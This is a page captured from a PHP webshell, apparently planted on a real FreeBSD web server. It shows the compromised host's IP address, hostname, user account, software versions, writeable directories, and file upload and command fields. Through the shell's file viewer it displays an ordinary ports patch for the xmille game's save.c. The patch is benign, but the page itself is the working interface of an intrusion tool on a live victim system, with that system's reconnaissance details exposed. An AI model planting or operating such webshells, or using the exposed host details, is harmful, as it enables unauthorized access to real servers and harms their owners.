403Webshell
Server IP : 82.208.35.60  /  Your IP : 216.73.216.89
Web Server : Apache/2.4.55 (FreeBSD) OpenSSL/1.1.1q-freebsd PHP/7.3.31
System : FreeBSD server7.d2m.cz 12.4-RELEASE-p9 FreeBSD 12.4-RELEASE-p9 GENERIC amd64
User : studiokobylisy_cz ( 1008)
PHP Version : 7.3.31
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /usr/ports/games/xmille/files/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/ports/games/xmille/files/patch-save.c
--- save.c.orig	Thu Apr  2 05:56:45 1992
+++ save.c	Fri Jun 15 02:20:34 2007
@@ -1,43 +1,46 @@
 #include	"mille.h"
 #include	<sys/types.h>
 #include	<sys/stat.h>
-#include	<sys/time.h>
+#include	<time.h>
+#include	<errno.h>
+#include	<string.h>
+#include	<stdlib.h>
 # ifdef	attron
 #	include	<term.h>
 #	define	_tty	cur_term->Nttyb
-# endif	attron
+# endif	
 
 /*
  * @(#)save.c	1.4 (Berkeley) 7/3/83
  */
 
 typedef	struct stat	Stat;
-typedef	struct tm	Time;
 
 char	*ctime();
 
 int	read(), write();
+char*   GetpromptedInput( char* );
 
 /*
  *	This routine saves the current game for use at a later date
  */
 extern int	errno;
-extern char	*sys_errlist[];
+/* extern char	*sys_errlist[]; */
 
 save() {
 
 	reg char	*sp;
 	reg int		outf;
-	reg Time	*tp;
+	reg time_t	*tp;
 	char		buf[80];
-	Time		tme;
+	time_t		tme;
 	Stat		junk;
 
 	tp = &tme;
 	if (Fromfile && getyn("Same file? "))
-		strcpy(buf, Fromfile);
+	        strncpy(buf, Fromfile,sizeof(buf));
 	else {
-		strcpy (buf, GetpromptedInput ("file: "));
+	        strncpy (buf, GetpromptedInput ("file: "), sizeof(buf));
 		sp = buf + strlen (buf);
 	}
 
@@ -50,12 +53,13 @@
 		return FALSE;
 
 	if ((outf = creat(buf, 0644)) < 0) {
-		error(sys_errlist[errno]);
+		/* error(sys_errlist[errno]); */
+		strerror(errno);
 		return FALSE;
 	}
 	Error (buf);
 	time(tp);			/* get current time		*/
-	strcpy(buf, ctime(tp));
+	strncpy(buf, ctime(tp), sizeof(buf));
 	for (sp = buf; *sp != '\n'; sp++)
 		continue;
 	*sp = '\0';
@@ -87,7 +91,7 @@
 	}
 	varpush(inf, read);
 	close(inf);
-	strcpy(buf, ctime(&sbuf.st_mtime));
+	strncpy(buf, ctime(&sbuf.st_mtime),sizeof(buf));
 	for (sp = buf; *sp != '\n'; sp++)
 		continue;
 	*sp = '\0';

Youez - 2016 - github.com/yon3zu
LinuXploit